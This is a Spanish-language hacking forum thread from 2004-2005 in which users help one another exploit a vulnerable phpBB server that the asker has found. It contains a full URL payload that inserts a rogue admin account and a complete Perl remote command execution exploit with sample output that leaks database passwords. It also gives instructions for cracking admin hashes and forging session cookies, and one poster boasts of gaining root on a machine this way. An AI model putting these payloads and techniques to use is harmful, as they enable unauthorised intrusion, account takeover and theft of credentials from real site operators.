PDA

Ver la versión completa : Como usar vulnerabilidad en phpBB



clarinetista
13-12-2004, 23:12
Buenas, he encontrado un server con un phpBB vulnerable, pero ahora me he quedao atascado y no se como seguir.
Me sale toda la movida del

Parse error: parse error, unexpected T_STRING in
Pero me quedo aqui.
¿Alguien podria echarme una mano?
Me gustaria profundizar mas en estas cosas antes de avisar para que reparen el bug.

<PICCOLO>
14-12-2004, 08:18
Parse error: error de sintaxis, fíjate en el código ya que debe de haber algún fallo.

-salu2-

clarinetista
16-12-2004, 02:27
Completo informacion.


Fatal error:
Failed evaluating code: preg_replace('#\b('\.mysql_query\(chr\(73\)\.chr\( 78\))\b#i', '\1', '>

Y ya tengo el chirajo este:


fd0d996cb6992da5583875b417315ed0
He intentado modificarme las cookies pero no funciona.
¿Alguna idea? Estoy bastante atascado. :confused:

jocanor
02-01-2005, 03:05
por el error k nos muestras, me parece k estas hablando de la vulnerabilidad recientemente publicada en la lista bugtraq por un tal ze3lock (bueno el no la descubrio, fue descubierta mucho antes, el consiguio explotarla, aunke parecia k no havia metodo para explotarla, por eso tardaron tanto en conseguirlo)

basicamente se dieron cuenta k en phpbb, en el archivo viewtopic.php la variable highlight (joder k memoria xD, no toi mirando nada, lo prometo, si algun dato esta mal lo siento) no filtraba correctamente la entrada...pero cuidado

eso no significa k sea el tipico sql injection ia sabeis, alguien podria imaginarse algo asi:

www.example.com/viewtopic.php?t=27&highlight=Union select blabla from...

no, la vulnerabilidad era mucho mas rebuscada, i se basaba en k al introducir en esa variable el caracter %2527 (vaia engaño) k en ascii viene a ser una especie de truco marrano debido a k el filtro del phpbb en esa variable no era del todo correcto, i %27 es la comilla simple (para saber exactamente el por k es posible k no se de cuenta de la comilla simple al meter delante %2527 k mire el source del viewtopic.php, phpbb es open source i freeware).

asi k bueno, al tal ze3lock se le ocurrio esto:

http://www.example.com/viewtopic.php?t=560&highlight=%2527%252emysql_query(chr(73)%252echr(78 )%252echr(83)%252echr(69)%252echr(82)%252echr(84)% 252echr(32)%252echr(73)%252echr(78)%252echr(84)%25 2echr(79)%252echr(32)%252echr(112)%252echr(104)%25 2echr(112)%252echr(98)%252echr(98)%252echr(95)%252 echr(117)%252echr(115)%252echr(101)%252echr(114)%2 52echr(115)%252echr(40)%252echr(117)%252echr(115)% 252echr(101)%252echr(114)%252echr(95)%252echr(105) %252echr(100)%252echr(44)%252echr(117)%252echr(115 )%252echr(101)%252echr(114)%252echr(95)%252echr(97 )%252echr(99)%252echr(116)%252echr(105)%252echr(11 8)%252echr(101)%252echr(44)%252echr(117)%252echr(1 15)%252echr(101)%252echr(114)%252echr(110)%252echr (97)%252echr(109)%252echr(101)%252echr(44)%252echr (117)%252echr(115)%252echr(101)%252echr(114)%252ec hr(95)%252echr(112)%252echr(97)%252echr(115)%252ec hr(115)%252echr(119)%252echr(111)%252echr(114)%252 echr(100)%252echr(44)%252echr(117)%252echr(115)%25 2echr(101)%252echr(114)%252echr(95)%252echr(108)%2 52echr(101)%252echr(118)%252echr(101)%252echr(108) %252echr(41)%252echr(32)%252echr(86)%252echr(65)%2 52echr(76)%252echr(85)%252echr(69)%252echr(83)%252 echr(32)%252echr(40)%252echr(39)%252echr(57)%252ec hr(57)%252echr(57)%252echr(57)%252echr(57)%252echr (39)%252echr(44)%252echr(39)%252echr(49)%252echr(3 9)%252echr(44)%252echr(39)%252echr(122)%252echr(10 1)%252echr(51)%252echr(108)%252echr(111)%252echr(9 9)%252echr(107)%252echr(39)%252echr(44)%252echr(39 )%252echr(98)%252echr(97)%252echr(51)%252echr(99)% 252echr(56)%252echr(51)%252echr(51)%252echr(52)%25 2echr(56)%252echr(98)%252echr(100)%252echr(100)%25 2echr(102)%252echr(55)%252echr(98)%252echr(51)%252 echr(54)%252echr(56)%252echr(98)%252echr(52)%252ec hr(55)%252echr(56)%252echr(97)%252echr(99)%252echr (48)%252echr(54)%252echr(100)%252echr(51)%252echr( 51)%252echr(52)%252echr(48)%252echr(101)%252echr(3 9)%252echr(44)%252echr(39)%252echr(49)%252echr(39) %252echr(41))%252e%2527

viene a hacer un insert en la base de datos, la consecuencia de realizar ese enlace sobre example.com suponiendo k example.com tuviese un phpbb, seria k se crearia un admin con el nombre ze3lock i la contraseña thepass (es facil hacerse su propia version, io tengo la mia k me crea un admin jocanor, ademas lo meti en un archivo html i lo converti en un link, asi k cada vez k kiero utilizar el exploit (nunca con fines malintencionados) solo modifico la url i abro con un navegador el archivo i pico al link k lo puse k fuese con el texto "uhoho" (mis paranoias).

bueno asta aki vimos las desastrosas consecuencias de lo mal k programa la peña a veces la peña de phpbb, aunke a veces realizan trabajos excelentes i no olvidemos k lo hacen sin animo de lucro.

sin embargo, como no podia ser otro, rush security team publicaba, sino recuerdo mal, antes en k-otik.com k en butraq un exploit el siguiente exploit, en perl:

#!/usr/bin/perl

use IO::Socket;

## @@@@@@@ @@@ @@@ @@@@@@ @@@ @@@
## @@! @@@ @@! @@@ !@@ @@! @@@
## @!@!!@! @!@ !@! !@@!! @!@!@!@!
## !!: :!! !!: !!! !:! !!: !!!
## : : : :.:: : ::.: : : : :
##
## phpBB <= 2.0.10 remote commands exec exploit
## based on http://securityfocus.com/archive/1/380993/2004-11-07/2004-11-13/0
## succesfully tested on: 2.0.6 , 2.0.8 , 2.0.9 , 2.0.10
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~
## example...
## he-he-he ... read http://www.phpbb.com/phpBB/viewtopic.php?t=239819
## The third issue, search highlighting, has been checked by us several times and we can do
## nothing with it at all. Again, that particular group admit likewise. In a future release
## of 2.0.x we will eliminate the problem once and for all, but as noted it cannot (to our
## knowledge and as noted, testing) be taken advantage of and thus is not considered by us to
## be cause for an immediate release.
## heh...
##
## r57phpbb2010.pl www.phpbb.com /phpBB/ 239819 "ls -la"
## *** CMD: [ ls -la ]
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## total 507
## drwxr-xr-x 12 dhn phpbb 896 Oct 13 18:23 .
## drwxrwxr-x 19 root phpbb 1112 Nov 12 15:08 ..
## drwxr-xr-x 2 dhn phpbb 152 Oct 13 18:23 CVS
## drwxr-xr-x 3 dhn phpbb 944 Jul 19 15:17 admin
## drwxrwxrwx 5 dhn phpbb 160 Aug 14 21:19 cache
## -rw-r--r-- 1 dhn phpbb 44413 Mar 11 2004 catdb.php
## -rw-r--r-- 1 dhn phpbb 5798 Jul 19 15:17 common.php
## -rw-r--r-- 1 root root 264 Jul 2 08:05 config.php
## drwxr-xr-x 3 dhn phpbb 136 Jun 24 06:40 db
## drwxr-xr-x 3 dhn phpbb 320 Jul 19 15:17 docs
## -rw-r--r-- 1 dhn phpbb 814 Oct 30 2003 extension.inc
## -rw-r--r-- 1 dhn phpbb 3646 Jul 10 04:21 faq.php
## drwxr-xr-x 2 dhn phpbb 96 Aug 12 14:59 files
## -rw-r--r-- 1 dhn phpbb 45642 Jul 12 12:42 groupcp.php
## drwxr-xr-x 7 dhn phpbb 240 Aug 12 16:22 images
## drwxr-xr-x 3 dhn phpbb 1048 Jul 19 15:17 includes
## -rw-r--r-- 1 dhn phpbb 14518 Jul 10 04:21 index.php
## drwxr-xr-x 60 dhn phpbb 2008 Sep 27 01:54 language
## -rw-r--r-- 1 dhn phpbb 7481 Jul 19 15:17 login.php
## -rw-r--r-- 1 dhn phpbb 12321 Mar 4 2004 memberlist.php
## -rw-r--r-- 1 dhn phpbb 37639 Jul 10 04:21 modcp.php
## -rw-r--r-- 1 dhn phpbb 45945 Mar 24 2004 mods_manager.php
## -rw-r--r-- 1 dhn phpbb 34447 Jul 10 04:21 posting.php
## -rw-r--r-- 1 dhn phpbb 72580 Jul 10 04:21 privmsg.php
## -rw-r--r-- 1 dhn phpbb 4190 Jul 12 12:42 profile.php
## -rw-r--r-- 1 dhn phpbb 16276 Oct 13 18:23 rules.php
## -rw-r--r-- 1 dhn phpbb 42694 Jul 19 15:17 search.php
## drwxr-xr-x 4 dhn phpbb 136 Jun 24 06:41 templates
## -rw-r--r-- 1 dhn phpbb 23151 Mar 13 2004 viewforum.php
## -rw-r--r-- 1 dhn phpbb 7237 Jul 10 04:21 viewonline.php
## -rw-r--r-- 1 dhn phpbb 45151 Jul 10 04:21 viewtopic.php
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## r57phpbb2010.pl www.phpbb.com /phpBB/ 239819 "cat config.php"
## *** CMD: [ cat config.php ]
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## $dbms = "mysql";
## $dbhost = "localhost";
## $dbname = "phpbb";
## $dbuser = "phpbb";
## $dbpasswd = "phpBB_R0cKs";
## $table_prefix = "phpbb_";
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## rocksss....
##
## P.S. this code public after phpbb.com was defaced by really stupid man with
## nickname tristam...
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~
## fucking lamaz...
##
## ccteam.ru
## $dbname = "ccteam_phpbb2";
## $dbuser = "ccteam_userphpbb";
## $dbpasswd = "XCbRsoy1";
##
## eat this dude...
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~

if (@ARGV < 4)
{
print q(################################################ ######
phpBB <=2.0.10 remote command execution exploit
by RusH security team // www.rst.void.ru
################################################## #########
usage:
r57phpbb2010.pl [URL] [DIR] [NUM] [CMD]
params:
[URL] - server url e.g. www.phpbb.com
[DIR] - directory where phpBB installed e.g. /phpBB/ or /
[NUM] - number of existing topic
[CMD] - command for execute e.g. ls or "ls -la"
################################################## #########
);
exit;
}

$serv = $ARGV[0];
$dir = $ARGV[1];
$topic = $ARGV[2];
$cmd = $ARGV[3];

$serv =~ s/(http:\/\/)//eg;
print "*** CMD: [ $cmd ]\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";

$cmd=~ s/(.*);$/$1/eg;
$cmd=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$topic=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

$path = $dir;
$path .= 'viewtopic.php?t=';
$path .= $topic;
$path .= '&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20';
$path .= $cmd;
$path .= '%3B%20%65%63%68%6F%20%5F%45%4E%44%5F';
$path .= '&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48% 54%54%
50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29 .%2527';

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv",
PeerPort => "80") || die "[-]
CONNECT FAILED\r\n";

print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";

$on = 0;

while ($answer = <$socket>)
{
if ($answer =~ /^_END_/) { print "~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; exit(); }
if ($on == 1) { print " $answer"; }
if ($answer =~ /^_START_/) { $on = 1; }
}

print "[-] EXPLOIT FAILED\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";

### EOF ###

el exploit utiliza un sistema muy peculiar parar ejecutar comandos en el servidor a traves del mismo bug, lo k hace basicamente es utilizar passthru, una funcion del php utilizada para ejecutar un comando i imprimir por pantalla su salida.

lo k ocurre es k personalmente el exploit no va muy bien, pero si cojeis i a mano haceis lo k hace el exploit si k funciona i muy bien, io he conseguido llevarlo a la practica a mano i tomar el control de una makina unix, k luego resulto tener un kernel vulnerable a una race condition i me hice con root, interesante via de acceso inicial, la del phpbb, k en principio solo me dejo una cuenta nobody (la del apache)...

en fin...ia no se k mas decirte...es todo lo k necesitas sobre ese bug.

clarinetista
02-01-2005, 15:14
Gracias, jocanor, la verdad es que si lo saque buscando lo que publico ze3lock.
Para cerrar el tema un par de dudas.
Aprovechando el momento consegui sacar esto:


/login.php?redirect=privmsg.php&folder=savebox&mode=read&p=99&sid=fd0d996cb6992da5583875b417315ed0


Pero he estado leyendo y eso creo que no puedo descifralo ¿no?
Y la ultima ¿no se supone que podria entrar tambien haciendo una falsificacion de cookies?

Un saludo

jocanor
02-01-2005, 16:46
eso k indicas ahi es el bug del privmsg, un bug de tipo sql injection clasico de los phpbb k tambien afecta a los php-nuke i k el exploit publico k se publico en securityfocus fue un clasico union select k mostraba la pass del userid k le espcificabas en la clausula where, pero tmb podrias realizar un insert si kisieras.

si utilizas el exploit publico i sacas el hash del admin en md5, en principio para crackearlo podrias tardar mucho, podrias usar rainbow crack i unas tablas de varios gigas, i posiblemente la sacarias en cuestion de horas.

i si no kieres crackearla, modificas la cookie i metes en ella el uid de ese hash i ese hash, para tener un modelo de como debe ser la cookie, t logueas con tu user i activas recordar inicio de sesion para k cree una cookie con tu hash i tu uid, i luego solo lo sustituyes, i cierras i abres el navegador i al entrar a la pagina seras el admin automaticamente.

clarinetista
03-01-2005, 01:09
Gracias por responder tan rapido.
La verdad es que yo use para eso el IECookiesView v1.60, pero como su nombre indica, es solo para IE :(
Los resultados no fueron los esperados, pero seguire en ello.

jocanor
03-01-2005, 10:22
Lo mejor es utilizar el bloc de notas i modificar las cookies a mano.

no es nada complejo, solo hay k fijarse k es cada cosa en la cookie